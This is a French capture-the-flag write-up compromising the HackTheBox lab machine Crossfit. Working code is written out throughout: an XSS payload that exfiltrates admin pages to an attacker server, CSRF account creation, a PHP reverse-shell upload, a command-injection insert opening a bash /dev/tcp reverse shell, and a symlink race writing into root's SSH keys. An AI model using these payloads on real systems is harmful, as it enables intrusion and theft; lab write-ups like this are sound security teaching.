CTF — HackTheBox — Crossfit
- IP de la machine Crossfit : 10.129.2.20 (sinon, 10.129.0.0/16)
- IP de l’attaquant : 10.10.14.77 (sinon, 10.10.0.0/16)
Note : la machine crossfit vient d’être ‘retired’ … le write-up officiel est disponible sur le site hackthebox.com! C’est la vie!
Reconnaissance avec Nmap
$> nmap -p- -A -oA nmap 10.129.2.20# Nmap 7.91 scan initiated Fri Feb 5 04:45:12 2021 as: nmap -p- -A -oA nmap 10.129.2.20
Nmap scan report for 10.129.2.20
Host is up (0.029s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ssl-cert: Subject: commonName=*.crossfit.htb/organizationName=Cross Fit Ltd./stateOrProvinceName=NY/countryName=US
| Not valid before: 2020-04-30T19:16:46
|_Not valid after: 3991-08-16T19:16:46
|_ssl-date: TLS randomness does not represent time
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 b0:e7:5f:5f:7e:5a:4f:e8:e4:cf:f1:98:01:cb:3f:52 (RSA)
| 256 67:88:2d:20:a5:c1:a7:71:50:2b:c8:07:a4:b2:60:e5 (ECDSA)
|_ 256 62:ce:a3:15:93:c8:8c:b6:8e:23:1d:66:52:f4:4f:ef (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
Service Info: Host: Cross; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nous avons 3 ports qui seront utilisés pendant la résolution de ce challenge :
- 21/tcp : Serveur FTP en clair avec authentification forcée en TLS.
- 22/tcp : Serveur SSH
- 80/tcp : Un serveur web ayant la page par défaut d’Apache lorsque l’on joint l’url : http://10.129.2.20
21/tcp — FTP — Obtenir le VHOST
Avec la commande suivante, il est possible de démarrer une connection SSL via le port 21/tcp
openssl s_client -debug -starttls ftp -connect 10.129.2.20:21
Nous obtenons alors le résultat suivant
Nous pouvons voir dans les données du certificat serveur une adresse mail contenant le sous-domaine suivant : info@gym-club.crossfit.htb
Nous allons insérer cette nouvelle entrée dans notre /etc/hosts afin de pouvoir accéder au site web sur le 80/tcp.
echo "10.129.2.20 gym-club.crossfit.htb" >> /etc/hosts
80/tcp —WEB— XSS
En se balandant sur le site web, on trouve un formulaire intéressant sur l’url suivante : http://gym-club.crossfit.htb/blog-single.php
On accède à un formulaire qui permet de laisser un commentaire. En remplissant le contenu avec la payload XSS classique
<script>alert();</script>
En soumettant les informations ci-dessus, on obtient le résultat suivant,
Ce message d’avertissement nous indique que notre adresse IP et notre User-Agent sera vu par l’administrateur. Nous allons injecter notre vraie payload XSS dans notre User-Agent en plus du commentaire contenant la payload XSS classique qui va servir à provoquer l’alerte.
Ce qui nous donne le script python suivant : run_xss.py
import requests
import jsontarget_ip = "gym-club.crossfit.htb"
hacker_ip = "YOUR_IP"url = 'http://{target_ip}/blog-single.php'.format(target_ip=target_ip)
attacker_url = "http://{hacker_ip}:8000/a.js".format(hacker_ip=hacker_ip)headers = {
'Host': 'gym-club.crossfit.htb',
'User-Agent': '<script src="{attacker_url}"></script>'.format(attacker_url=attacker_url),
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://gym-club.crossfit.htb',
'Connection': 'close',
'Referer': 'http://gym-club.crossfit.htb/blog-single.php',
'Upgrade-Insecure-Requests': '1'
}payload = "name=name&email=a%40a.fr&phone=phone&message=%3Cscript%3Ealert%28%29%3B%3Cscript%3E&submit=submit"
r = requests.post(url, data=payload, headers=headers)
print("SENT!")
Ce script va nous permettre de faire appel à notre fichier Javascript ‘a.js’. Cependant dans notre XSS, on ne va pas pouvoir récupérer des informations authentification. Nous allons crawler certaines pages du site comme par exemple : http://gym-club.crossfit.htb/security_threat/report.php. Cette page contient les informations de reporting vu par l’administrateur et n’est pas accessible depuis notre contexte utilisateur classique. Voici notre script :
url_attacker = "http://10.10.14.60:8000/";function http_send_webpage_to_attacker(url)
{
// Get webpage from admin's browser
var xmlHttp = new XMLHttpRequest();
xmlHttp.open( "GET", url, true );
xmlHttp.onload = function (e) {
if (xmlHttp.readyState === 4) {
if (xmlHttp.status === 200) {
// Send result to the attcker <3
data = JSON.stringify({"type": "webpage", "url": url, "page_content": xmlHttp.responseText});
var xmlHttp_post = new XMLHttpRequest();
xmlHttp_post.open( "POST", url_attacker, true );
xmlHttp_post.send( data );
} else {
// Send result to the attcker <3
data = JSON.stringify({"type": "webpage_error", "url": url, "page_content": "<error>"});
var xmlHttp_post = new XMLHttpRequest();
xmlHttp_post.open( "POST", url_attacker, true );
xmlHttp_post.send( data );
}
}
else
{
console.log("coucou");
}
};
xmlHttp.onerror = function (e) {
// Send error report to the attcker ...
data = JSON.stringify({"type": "webpage_error", "url": url, "page_content": "<error>"});
var xmlHttp_post = new XMLHttpRequest();
xmlHttp_post.open( "POST", url, true );
xmlHttp_post.send( data );
};
xmlHttp.send(null);
}http_send_webpage_to_attacker('http://gym-club.crossfit.htb/security_threat/report.php');
Nous allons mettre en place un serveur web fait avec SimpleHTTPServer en python : server.py. Cela va nous permettre de :
- Stocker notre fichier ‘a.js’ contenant la payload complète
- Enregistrer les pages vu par l’administrateur
- Avoir un suivis concernant notre attaque XSS
from sys import argv
import os
import socketserver
import http.server
import logging
import cgi
import json
import time
import socketclass ServerHandler(http.server.SimpleHTTPRequestHandler):def do_GET(self):
http.server.SimpleHTTPRequestHandler.do_GET(self)
logging.debug(self.headers)def do_POST(self):
http.server.SimpleHTTPRequestHandler.do_GET(self)
logging.debug(self.headers)
post_data = self.rfile.read(int(self.headers['Content-Length']))
try :
post_data_json = json.loads(post_data)
logging.debug(json.dumps(post_data_json, indent=4, sort_keys=True))
post_data_type = post_data_json.get("type","")
if post_data_type == "webpage":
print(f"[+] - New url detected by admin - \"{post_data_json.get('url')}\"")
page_content = post_data_json.get("page_content","")
# Write html file
page_content_filename = "output/" + str(time.time()) + ".html"
fd = open(page_content_filename, "w")
fd.write(page_content)
print(f"HTML file created : {page_content_filename}")
fd.close()
elif post_data_type == "webpage_error":
print(f"/!\ - Error return by admin for this url - \"{post_data_json.get('url')}\"")
elif post_data_type == "create_account":
print(f"[+] - Account created with those parameters,\n\"{json.dumps(post_data_json, indent=4)}\"")
elif post_data_type == "account_error":
print(f"/!\ - Unable to create FTP account - \"{json.dumps(post_data_json, indent=4)}\"")
else:
print(f"/!\ - Unkown message - \"{json.dumps(post_data_json, indent=4)}\"")
except:
print("Invalid JSON data !")
print(post_data)
def end_headers(self):
self.send_header('Access-Control-Allow-Origin', '*')
http.server.SimpleHTTPRequestHandler.end_headers(self)class ReuseAddrTCPServer(socketserver.TCPServer):
allow_reuse_address = Truedef run(port=8080):
Handler = ServerHandler
httpd = ReuseAddrTCPServer(("10.10.14.60", port), Handler)
print("serving at port", port)
try:
httpd.serve_forever()
except KeyboardInterrupt:
print("Detect CTRL+C ...")
pass
httpd.server_close()
httpd.shutdown()if __name__ == '__main__':if not os.path.exists('output'):
print("Create output directory to store html content")
os.makedirs('output')
if len(argv) == 2:
run(port=int(argv[1]))
else:
run()
On va lancer notre serveur web sur le port 8000
python3 server.py 8080
Nous allons lancer notre XSS afin de lancer notre script ‘a.js’ avec le script python run_xss.py montré précédement.
python3 run_xss.py
Notre script server.py va recevoir la réponse de la page au format JSON et l’enregistrer en HTML. Voici le résultat obtenu,
80/tcp —WEB—CSRF
La post-exploitation de la XSS n’est pas triviale, en regardant les headers HTTP dans la réponse du serveur, nous avons l’information suivante :
Le champs ‘Access-Control-Allow-Credentials’ nous donne l’information que le site utilise dans sa configuration le ‘Cross-origin resource sharing’ (CORS).
Cela permet d’acceder a des ressources restreintes depuis le domaine : gym-club.crossfit.htb. Nous allons brute-forcer les sous-domaines accessible depuis celui-ci avec wfuzz (github : https://github.com/xmendez/wfuzz.git).
Lorsqu’un sous-domaines existe, nous allons avoir le header ‘Access-Control-Allow-Origin’ dans la réponse du serveur.
Note : Grosse cheatsheet super utile : https://book.hacktricks.xyz/
wfuzz -w subdomains.txt -H "Origin: http://FUZZ.crossfit.htb" — filter "r.headers.response~'Access-Control-Allow-Origin'" http://gym-club.crossfit.htb/
Note : la wordlist ‘subdomains.txt’ provient de https://github.com/danielmiessler/SecLists/blob/master/Discovery/DNS/subdomains-top1million-5000.txt
Le résultat nous indique que le sous-domaine ftp.crossfit.htb existe!
Nous allons consulter la page http://ftp.crossfit.htb avec notre XSS en spécifiant le paramètre withCredentials à true:
xmlHttp = new XMLHttpRequest;
xmlHttp.withCredentials = true;
Il est possible d’ajouter un nouveau compte, on tombe sur le formulaire suivant,
Nous allons mettre à jour notre fichier a.js afin de nous créer un compte FTP sur le serveur.
// Create FTP account
var url_attacker = "http://10.10.14.60:8000/";
var url_ftp_account_creation_form = "http://ftp.crossfit.htb/accounts/create"try {
// Get CSRF token
xmlHttp = new XMLHttpRequest;
xmlHttp.withCredentials = true;xmlHttp.open('GET', url_ftp_account_creation_form, false);
xmlHttp.send();
result = xmlHttp.responseText;
// parse CSRF token
var parser = new DOMParser();
var xmlDoc = parser.parseFromString(result, "text/html");
var token = xmlDoc.getElementsByName('_token')[0].value;
// Submit form for FTP account creation
url_ftp_account_creation_action = "http://ftp.crossfit.htb/accounts";
account_data = {
"url": url_ftp_account_creation_action,
"type": "create_account",
"username": "papa123",
"password": "papa123"
}; // Craft POST parameters
params_account_create = "_token=" + token + "&username=" + account_data["username"] + "&pass=" + account_data["password"] + '&submit=submit';
// Send POST request to create FTP account
xmlHttp.open( "POST", url_ftp_account_creation_action, false );
xmlHttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xmlHttp.send( params_account_create );
result_create_account = xmlHttp.responseText; // Notice me about FTP account creation
account_data["params"] = params_account_create;
account_data["result"] = result_create_account;
data = JSON.stringify(account_data);
httpPOST(url_attacker, data);}
catch(error) {
data = JSON.stringify({"type":"account_error", "message_error": error});
httpPOST(url_attacker, data);
}
Nous pouvons maintenant nous connecter sur le service FTP en utilisant les identifiants suivants : papa123/papa123.
21/tcp — FTP — Compte www-data
En utilisant un client FTP, nous pouvons voir 4 dossiers dans l’arborescence de notre compte FTP.
Il est possible d’écrire uniquement dans le dossier ‘development-test’. En regardant le nom des dossiers, on se rend compte de la logique suivante :
- gym-club.crossfit.htb : site de gym
- ftp.crossfit.htb : site utiliser pour créer un compte FTP
- html.crossfit.htb : page Apache par défaut
Le dossier development-test doit être accessible depuis l’url : http://development-test.crossfit.htb
Nous allons uploader notre reverse shell PHP ici
Enfin, nous utiliserons notre XSS afin d’executer notre PHP en utilisant le context de l’administrateur. Au lieu de faire appelle à notre script a.js, nous allons créer b.js avec le code suivant :
function httpGET(url)
{
var xmlHttp = new XMLHttpRequest();
xmlHttp.open( "GET", url, false );
xmlHttp.send( null );
return xmlHttp.responseText;
}httpGET("http://development-test.crossfit.htb/shell.php");
Note : source du reverse shell — https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
Bien evidement, nous avons lancé un netcat afin de récupérer la connection du reverse shell avec,
ncat -nvlp 4444
On poste notre XSS et nous obtenons notre reverse shell avec le compte www-data
En utilisant le reverse shell, nous pouvons lire la page report.php (vu précédement) contenant les identifiants pour se connecter à la base de donnée ‘crossfit’.
Les identifiants à la base ‘crossfit’ sont les suivants : crossfit/oeLoo~y2baeni
Reverse shell PHP — Compte Hank
En cherchant un peu, on trouve un fichier intéressant contenant tout simplement le hash du compte ‘hank’.
On peut cracker le hash de cet utilisateur en utilisant JohnTheRipper avec la wordlist ‘rockyou’
Le mot de passe a été trouvé, nous pouvons nous connecter en SSH avec les identifiants suivant : hank/powerpuffgirls
Le compte utilisateur a été compromis, nous devons élever nos privilèges afin d’être administrateur de la machine.
22/tcp — SSH — Compte Isaac
Dans la capture précédente, on remarque que ‘hank’ appartient au groupe ‘admins’. Ce groupe nous permet d’accéder aux fichiers suivants :
On remarque que le fichier ‘send_update.php’ est exécuté toutes les minutes avec les privilèges du compte isaac.
Mais alors que contient ce fichier PHP ? Voici son contenu,
<?php
/***************************************************
* Send email updates to users in the mailing list *
***************************************************/
require("vendor/autoload.php");
require("includes/functions.php");
require("includes/db.php");
require("includes/config.php");
use mikehaertl\shellcommand\Command;if($conn)
{
$fs_iterator = new FilesystemIterator($msg_dir);foreach ($fs_iterator as $file_info)
{
if($file_info->isFile())
{
$full_path = $file_info->getPathname();
$res = $conn->query('SELECT email FROM users');
while($row = $res->fetch_array(MYSQLI_ASSOC))
{
$command = new Command('/usr/bin/mail');
$command->addArg('-s', 'CrossFit Club Newsletter', $escape=true);
$command->addArg($row['email'], $escape=true);$msg = file_get_contents($full_path);
$command->setStdIn('test');
$command->execute();
}
}
unlink($full_path);
}
}cleanup();
?>
Voici le fonctionnement du script :
- Le script vérifie l’existence de fichier dans le dossier ‘$msg_dir’ (pour l’instant on ne sait pas où c’est…)
- Pour chaque fichier, une requête SQL est faite ‘SELECT email FROM users’
- Le champs ‘email’ est ajouté dans le champs ‘addArg’ dans l’objet ‘Command’.
- L’objet Command provient du projet opensource :
https://github.com/mikehaertl/php-shellcommand.git
- Puis ensuite cet objet exécute la commande préparée par le script
Nous avons accès à la version du logiciel,
Cependant, cette version est vulnérable à une injection de commande d’après l’issue suivante :
OK ! Il nous manque le dossier ‘$msg_dir’ pour lancer notre exécution de commande mais c’est où?
Pas de panique, nous avons vu plus haut les permissions de lecture du groupe ‘admins’, il est possible d’avoir les identifiants du compte ‘ftpadm’ en clair !
Nous avons notre exécution de commande, le plan est le suivant :
- Mettre un netcat en écoute sur le port 4444/tcp
- Se connecter au FTP avec ftpadm pour uploader un fichier
- Insérer notre payload reverse shell dans le champs email de la DB crossfit
En se connectant on voit le fameux ‘$msg_dir’ (=’messages’), il suffit de créer un fichier vide : ’toto’
Ensuite, nous allons insérer notre reverse shell dans la base de donnée afin qu’elle soit exécuté dans une minute.
mysql -h 127.0.0.1 -u crossfit -p crossfit — password=”oeLoo~y2baeni” -e “insert into users (email) values (‘http://example.com — wrong-argument || bash -c \”bash -i >& /dev/tcp/10.10.14.68/4444 0>&1 \”’);”
Nous lançons notre listener netcat sur le port 4444/tcp.
Bingo ! Nous avons obtenu le compte d’isaac !
Pour être comme à la maison , nous allons ajouter notre propre clé publique SSH dans le fichier :
/home/isaac/.ssh/authorized_keys
Pour cela, on va générer de nos clés (côté attaquant de préférence) avec :
ssh-keygen -t rsa -b 4096 -C “your_email@example.com” -f ssh_key
Puis rajouter dans le authorized_keys de isaac (sur le serveur crossfit) :
echo ‘ssh-rsa […] your_email@example.com’ > authorized_keys
Et pour se connecter sur le SSH du serveur crossfit :
ssh isaac@gym-club.crossfit.htb -i ssh_key
22/TCP — SSH — Chercher le binaire
Lors de ce challenge, une des choses que j’avais remarqué, c’était que la commande ‘ps’ qui permet de lister les processus sous linux me donnait uniquement que ceux dont j’étais le propriétaire.
En effet, d’après le fichier /etc/fstab, le système de fichier ‘proc’ est monté avec l’option ‘hidepid=2’.
J’ai découvert un projet sympa permettant de surveiller l’activité des processus sans avoir les droits root. Il s’agit de PSPY : https://github.com/DominicBreuker/pspy
Cet outil surveille l’activité d’un système Linux en utilisant l’API de inotify et en surveillant le contenu de nombreux dossiers tels que : /proc, /tmp, /usr, etc…
J’ai lancé la surveillance des processes ainsi que de l’activité du système de fichier en redirigeant l’output dans stdout et le fichier pspy_open_file.log.
En triant un peu la sortie de pspy, on extrait les binaires localisés dans le dossier /usr/bin. Ce qui nous permet de réduire un peu la liste afin de trouver un binaire intéressant.
En faisant un rapide ‘strings’ sur le binaire /usr/bin/dbmsg, on trouve des chaines de caractère fortement lié au challenge crossfit comme les identifiants de la base de donnée.
De plus, ce binaire est lancé toutes les minutes sur la machine crossfit!
Nous allons télécharger le binaire afin de l’analyser avec radare2 : https://github.com/radareorg/radare2.git.
22/tcp — SSH — Analyse de dbmsg
Voici une petite liste de commande permettant de s’en sortir concernant le reverse du binaire dbmsg
# Lancement de R2 sur un binaire
r2 ./dbmsg# Chargement des symboles
> aaaa# Liste des fonctions
> afl# Aller a la fonction
> s main
> s sym.process_data# Desassembler la fonction courante
> pdf# Obtenir le pseudo code en C
> pdc
Dans un premier temps, nous allons charger les symboles et nous allons lister les fonctions utilisées par le programme
Nous allons aller dans la fonction ‘main’ du programme
Ce qu’on voit :
- Dans le ‘main’, on voit qu’une vérification de l’EUID (effective UID) est faite afin de s’assurer que le compte qui exécute le binaire est bien ‘root’.
- Ensuite, on remarque que la seed utilisée par srand() est prédictible, en effet, celle-ci se base sur le timestamp courant : time(0).
- La routine principale se déroule dans la fonction ‘process_data’
Nous allons désassembler la fonction ‘process_data’
[0x00001a13]> s sym.process_data
[0x000015f0]> pdf
La fonction étant un peu grande, je vais vous montrer les parties importantes du code.
│ 0x00001649 4c8d05010a00. lea r8, qword str.crossfit ; 0x2051 ; "crossfit"
│ 0x00001650 488d0d030a00. lea rcx, qword str.oeLoo_y2baeni ; 0x205a ; "oeLoo~y2baeni"
│ 0x00001657 488d15f30900. lea rdx, qword str.crossfit ; 0x2051 ; "crossfit"
│ 0x0000165e 488d35030a00. lea rsi, qword str.localhost ; 0x2068 ; "localhost"
│ 0x00001665 4889c7 mov rdi, rax
│ 0x00001668 e8d3f9ffff call sym.imp.mysql_real_connect
│ 0x0000166d 4883c410 add rsp, 0x10
│ 0x00001671 4885c0 test rax, rax
│ ┌─< 0x00001674 750c jne 0x1682
│ │ 0x00001676 488b45e8 mov rax, qword [var_18h]
│ │ 0x0000167a 4889c7 mov rdi, rax ; uint32_t arg1
│ │ 0x0000167d e833fdffff call sym.exit_with_error
│ │ ; CODE XREF from sym.process_data @ 0x1674
│ └─> 0x00001682 488b45e8 mov rax, qword [var_18h]
│ 0x00001686 488d35e50900. lea rsi, qword str.SELECT___FROM_messages ; 0x2072 ; "SELECT * FROM messages"
│ 0x0000168d 4889c7 mov rdi, rax
│ 0x00001690 e88bfbffff call sym.imp.mysql_query
Ici, le programme utilise les identifiants pour se connecter à la base de donnée ‘crossfit’ puis effectue la requête SQL ‘SELECT * FROM messages’.
0x000016a5 488b45e8 mov rax, qword [var_18h]
│ 0x000016a9 4889c7 mov rdi, rax
│ 0x000016ac e82ffaffff call sym.imp.mysql_store_result
│ 0x000016b1 488945e0 mov qword [var_20h], rax
Le programme vérifie le contenu de la réponse SQL puis stocke celle-ci si le contenu n’est pas vide.
0x000016c8 488d45bc lea rax, qword [var_44h]
│ 0x000016cc 4889c2 mov rdx, rax
│ 0x000016cf be01000000 mov esi, 1
│ 0x000016d4 488d3db50900. lea rdi, qword str.var_backups_mariadb_comments.zip ; 0x2090 ; "/var/backups/mariadb/comments.zip"
│ 0x000016db e850fbffff call sym.imp.zip_open
On voit que ce programme a pour but de mettre à jour le backup de mariaDB. Par la suite, le résultat de la requête SQL va être ‘fetch’.
Nous avons une suite de ‘if’ qui vérifie si tous les champs existent dans la réponse SQL (id, name, email, message) en incrémentant le curseur de 0x8(h).
Un nombre aléatoire (int : entier relatif 64 bits) est généré avec la seed qui est égale au timestamp courant. (vu précédement)
Nous avons une format string ‘%d%s’ reprenant le nombre aléatoire et le champs ‘id’.
Le condensat md5 est calculé à partir de la concaténation du timestamp avec l’id du message.
Par exemple, on peut calculer ce md5 en prenant le timestamp courant de notre machine avec l’id qui est égale à 1300 :
echo -n $(date +%s)1300 | md5sum
Afin de rentrer dans la bonne condition et lancer le processus de mise à jour du backup, nous devons créer un fichier ayant ce format :
/var/local/md5(rand()+id_messages)
Super ! L’utilisateur isaac appartient au groupe ‘staff’. Ce groupe peut écrire dans le répertoire /var/local/.
Si on obtient le bon format de fichier, alors les champs de l’entrée stockée dans la table ‘messages’ de la base de donnée sont écrit (séparés par des espaces) dans notre fichier puis sera rajoutée à l’archive ZIP.
En ayant le bon format de fichier et en créant un lien symbolique de ce fichier vers un autre, il est possible d’écrire le contenu de notre entrée SQL n’importe où sur le disque.
22/tcp — SSH — Compte root
Mais alors, on écrit quoi et où? J’avais pensé à une tâche planifiée mais il faut redémarrer le service crond donc ça n’a pas marché …
… Ou bien de rajouter une entrée dans le /etc/shadow mais j’avais trop peur de casser le challenge.
La solution la plus simple pour commencer serait d’ajouter sa clé SSH dans le authorized_keys du compte root. Espérons que le dossier ‘/root/.ssh’ existe …
Dans un premier temps, nous allons créer un petit programme en C.
vim /home/isaac/a.c
Ce programme va prendre en argument un timestamp (qui sera notre seed) et afficher le nombre aléatoire généré en fonction de celle-ci.
include <stdio.h>
include <time.h>
include <stdlib.h>
void main(int argc, char ** argv)
{
srand(atol(argv[1]));
printf("%ld",rand());
}
On va alors compiler nos sources,
gcc a.c
Nous savons que dbmsg s’exécute toutes les minutes, il faut donc anticiper le timestamp qui sera utilisé. Cela va se faire via un petit script bash qui va appeller notre programme compilé en C.
RAND_EXE="/home/isaac/a.out"
TS=$(date +%s)
SSH_PATH="/root/.ssh/authorized_keys"
mysql -h 127.0.0.1 -u crossfit -p crossfit --password="oeLoo~y2baeni" -e "insert into messages (name,email,message) values ('ssh-rsa', ' ', 'AAAAB3NzaC[...]0alCBk2Q== your_email@example.com');"MESSAGE_ID=$(mysql -h 127.0.0.1 -u crossfit -p crossfit --password="oeLoo~y2baeni" -e "select id from messages;" -B -N | tr -d '\n')for X in $(seq 1 1 100)
do
TS_1=$((TS+X))
RAND_C=$(${RAND_EXE} ${TS_1})
filename=$(echo -n ${RAND_C}${MESSAGE_ID}| md5sum| cut -d' ' -f1)
echo "[+] Create ${filename} in /var/local."
ln -s ${SSH_PATH} /var/local/${filename}
done
Voici les étapes du script :
- On sauvegarde le timestamp courant.
- On insert notre payload séparée par des espaces. Il s’agit de notre clé publique SSH.
- On sauvegarde l’id de l’entrée de la table ‘messages’.
- On va utiliser notre programme en C pour obtenir nos nombres aléatoires. Nous allons le faire pour les 100 secondes à venir. (nombre aléatoire allant de [timestamp,timestamp+100])
- On créé un fichier dans /var/local/ portant le nom du md5 calculé en fonction du timestamp et du message_id
- Pour chacun des fichiers, on fait un lien symbolique vers /root/.ssh/authorized_keys dans le but de rajouter notre clé SSH pour l’utilisateur root.
On peut lancer le script et attendre au maximum une minute. Voici le contenu du dossier /var/local/ pendant l’attaque,
Enfin, il sera possible de se connecter en SSH avec le compte ‘root’ grâce à la clé SSH que nous avons rajouté.
Voilà, merci de m’avoir lu. On se retrouve le mois prochain !
R.P.